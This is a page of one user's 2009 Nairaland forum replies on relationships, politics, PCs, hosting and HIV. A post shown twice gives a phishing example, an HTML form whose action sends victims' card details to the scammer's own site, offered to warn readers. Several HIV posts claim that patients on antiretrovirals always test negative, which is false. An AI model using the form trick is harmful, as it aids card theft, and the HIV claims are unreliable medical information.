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CareerRe: Telecommunications Professionals Zone by cystein(m): 2:44pm On Jun 26, 2009
Nice posting Guys,

Cant we make it more interactive?

hook up to www.skyelectron.com/gumzo I will have the telecom room running with the poster here as chair. Lets make it happen in there.

Cheers
RomanceRe: My Girl_friend Is A Mamiwater~ Water Spirit! by cystein(m): 12:03am On Jun 26, 2009
If only i could see a marmaid, i am willing to pay $10, 000 to see it with my two eyes. Give me a vibe if you know where to get one
EducationRe: Why Is The English Language Skill Of Nigerian Graduate So Appalling? by cystein(m): 11:18pm On Jun 25, 2009
Thank you for the translation but you see, my sister $real too is concerned. But am concerned about her expression too!! Anyway, Nigeria is still a force to reckon with despite the hard economic times there and i still do enjoy visiting.

Now when i come in August i will be visiting a Chief in Kalabar. I guess you call them IGWE. Well Nairaland is truly African.
EducationRe: Why Is The English Language Skill Of Nigerian Graduate So Appalling? by cystein(m): 9:24pm On Jun 25, 2009
Hehehehe,

I think i should start with you as an example. The following are the reasons why Nigeria is where it is today, as far as the queens language is concerned.

1. The use of pidgin everywhere from Parents to teachers to the neighborhood.
2. Influx of local terminology to express stature and emotions. E.G., Wahala, Oga, Ashawo, Pikin, Odeku, Kaikai,

Now thats where the problem is. Just find the English names of such and it shall be well.
Web MarketRe: I Need A Website. by cystein(m): 8:55pm On Jun 25, 2009
Well it depends on what your target is. I do ordinary hosting for 10$ a month bust still make a cool $6,800 every thirty days. East small but think big.
Web MarketRe: I Need A Website. by cystein(m): 6:37pm On Jun 25, 2009
Bring it on, Just ensure you handin enough content. webmaster@skyelectron.com. Also let me know if you need a pay gateway
FamilyRe: Should He Take His Wife Back? by cystein(m): 7:18pm On Jun 11, 2009
Well, my friend peoplay lay out rules when getting married. I think they are both immature. Dot get involved in a love bout
FamilyRe: Why Do Poor People Have So Many Kids by cystein(m): 7:14pm On Jun 11, 2009
Well the only source of joy in their lives is Lovemaking. So when it gets cold they know best how to keep warm. Dont blame them o
PoliticsRe: Can A First Lady Grant Amnesty To A Criminal? by cystein(m): 7:12pm On Jun 11, 2009
Well they do have alot of power you know, Not directly but she can only do so when the husband approves which i believe is discussed prior to the tour,
PhonesRe: Win 1 Million Dollars: Etisalat Must Take Nigerians For Fools! by cystein(m): 7:06pm On Jun 11, 2009
Well that possibility is there, do you thing $1,000,000 is anything to a big company like this? If my own company ran a promo which gave rise to $25, 000, 000 in three months why cant a big firm like that give just a mere $1,000,000!!!?
RomanceRe: I Think I'm Going Crazy Over A Man by cystein(m): 2:00pm On Jun 07, 2009
Well web postings never grow old

huh
Dating And Meet-up ZoneRe: Im Married But I Need A Male Friend by cystein(m): 12:42pm On Jun 07, 2009
Well,

you may have a male friend but what is this he gets from other women which u dont have? Well respect ur marriage too mum.

Cheers
WebmastersRe: Equitorial Bank Website Used For Interswitch 419 Scam by cystein(m): 11:58am On Jun 07, 2009
Well guys this aint a difficult thing to do. What happens in this case is the scammers pick the page source but edit the form action for example. If i have a form that i want to defraud you with i can easily set it as follows.

<form action="http://mywebsite.com/snb/9071:8080" that instead posts me your card details enough to give me access to your account. Always call the bank on the original numbers and not the contacts issued on the site
WebmastersRe: Equitorial Bank Website Used For Interswitch 419 Scam by cystein(m): 11:52am On Jun 07, 2009
Well guys this aint a difficult thing to do. What happens in this case is the scammers pick the page source but edit the form action for example. If i have a form that i want to defraud you with i can easily set it as follows.

<form action="http://mywebsite.com/snb/9071:8080" that instead posts me your card details enough to give me access to your account. Always call the bank on the original numbers and not the contacts issued on the site
SportsRe: SA 2010 WCQ: Nigeria(3) Vs Kenya(0) On Sunday 7th June by cystein(m): 9:49am On Jun 07, 2009
It is obvious we do not have an organized soccer team. Eagles will sure whoop our ass.
RomanceRe: I Think I'm Going Crazy Over A Man by cystein(m): 9:48am On Jun 07, 2009
Girl,

Imagine the time you have wasted with bolted emotions!!! You may just endup being screwed and dumped. Seek true syimbiotic love not a one sided affair

Good luck
Car TalkRe: . by cystein(m): 9:36am On Jun 07, 2009
Oyinda!,

A beg o, Wettin be da problem? De girl de do big imagination too much de brain may de go bring wahala!! grin
FamilyRe: My Husband And I Tested Hiv Positive Please Help by cystein(m): 3:16pm On Jun 06, 2009
@ifyalways

I agree with you! seen many quacks in here
Jobs/VacanciesRe: Career Websites Of The 25 Banks In Nigeria by cystein(m): 1:06pm On Jun 06, 2009
Hi,

Those seeking sponsorship for school or development programs can subscribe free to www.skyelectron.com
FamilyRe: My Husband And I Tested Hiv Positive Please Help by cystein(m): 10:32am On Jun 06, 2009
Dear Mum,

Well first i would like you to avoid the frustration of running up and down into churches as you may just end up disappointed. God can heal you and you require to help yourself for him to help you too. You are not dieing!!!!You are better off than a cancer, Lukemia and many other people. HIV is just a condition and for your info do not be cheated by any church to re-test your self whwn you are on ARV as it will show negative. Praising God falsely at that time can lead to trouble as once you stop the drugs now you get a full attack and get what we call AIDS. I know you can make it and please feel free to talk whenever you have an issue
ComputersRe: How To Use The Sim Card Slot On My Laptop by cystein(m): 3:00am On Jun 06, 2009
Hi,

I hope i aint dreaming but do u mind uploading a picture of that slot? Maybe you are talking about a memory card slot reader for Camera or multimedia micro sd?
Car TalkRe: . by cystein(m): 2:48am On Jun 06, 2009
Hahaha,

And u kept me here all night!!!!I go wound you o!!! Well nice knowing you guys either. Nigeria is my Tenth target with Mtn launching 3G services anytime now. Why cant i have those CV's Coming via info@ke.jokafrica.net ! Maybe this Bentley issue may just turn to be a reality!!But Hope the Oga ain't imaginary too. Goodmorning people so let Na bushman take nkwabi, odeku, kaikai and schnaps to get an hour of sleep!!!Hahaha I miss Nigeria
Car TalkRe: . by cystein(m): 2:17am On Jun 06, 2009
Chineke!!!

I grew up in a broken family and never love to see women suffer, but its up to u to keep that man as warm as a teddybear.

Make na man na pikin!
Car TalkRe: . by cystein(m): 1:33am On Jun 06, 2009
Oyinda,

Thats not my wish just a precautionary Measure! In Nigeria you complete with the word O! and here we say Yawa!! LOL
Car TalkRe: . by cystein(m): 11:45pm On Jun 05, 2009
And what part dont u understand? I would love to explain!!
PoliticsRe: Please Help Catch This Guy. by cystein(m): 10:48pm On Jun 05, 2009
When you get tribal you tend to loose meaning!!!Now who talked of a yoruba here? Well i think its unjust to call a tribe here. I advise that we mount a campaign to kick out the person who declared the yoruba inititive. If we can do it on facebook why not on Nairaland?

Go guys!!
TravelRe: Surviving In Nigeria On N80,000 A Month by cystein(m): 10:39pm On Jun 05, 2009
Oga!,


Dont think the price ob read will remain the same all year!!The worst i think of you is marrying a younger woman, you are about to make a mistake you will regret the rest of your life. Go slow!
BusinessRe: My Friend At GTBank Took 80,000 Naira From My Account by cystein(m): 10:31pm On Jun 05, 2009
Some good advice,

NEVER OWE YOUR BANKER!!!
RomanceRe: My Girlfriend Just Dumped Me With An Email by cystein(m): 10:27pm On Jun 05, 2009
Boy i only hope you are safe,

Married women are dangerous!!!But anyway, serves you right, how do you go riding a grown up lady like that!!!Boy you still got alot of schooling to do so get your ass back in class!!
Christianity EtcRe: Testimonies Of Healings From HIV And AIDS by cystein(m): 10:22pm On Jun 05, 2009
The spiritual games played by churches are a major factor leading to many deaths in Africa. The following facts are true;

1. A HIV patient will always test negative while using Antiretroviral as the supression rate is nearly 100%
2. You may at some point test positive if the reagents used for a test has exceeded its time limit and mulfunctions.

Yes it is indeed true that God heals but i must advise thorough precautions.

However, HIV is no longer a disease but a condition not worse than cancer, leukimia or Arthritis.
ComputersRe: How To Increase The Speed Of My PC? by cystein(m): 10:16pm On Jun 05, 2009
Hi,

Now one thing i realize in Africa is that we tend to think that the higher your operating system the better your machine!! Ever thought of putting a tractor on a Landcruiser Lexus? The thing can barely move. Now first check on your OS requirement sticker on your cpu(Designed ForWinXpetc) then install exactly what is written there. Don't think that being a P4 is enough. Consult your PC hadware manual. When this is done then you can now Keep your Pc clean as someone just said.


Cheers
FamilyRe: My Husband And Family Don't Like Each Other by cystein(m): 10:04pm On Jun 05, 2009
Well well,

Another black man with an attitude!! Maybe the marriage was tied to something!! If someone really loves you it begins with respect from you to your great grand kinsmen. Well i bet you cant justify that as love.

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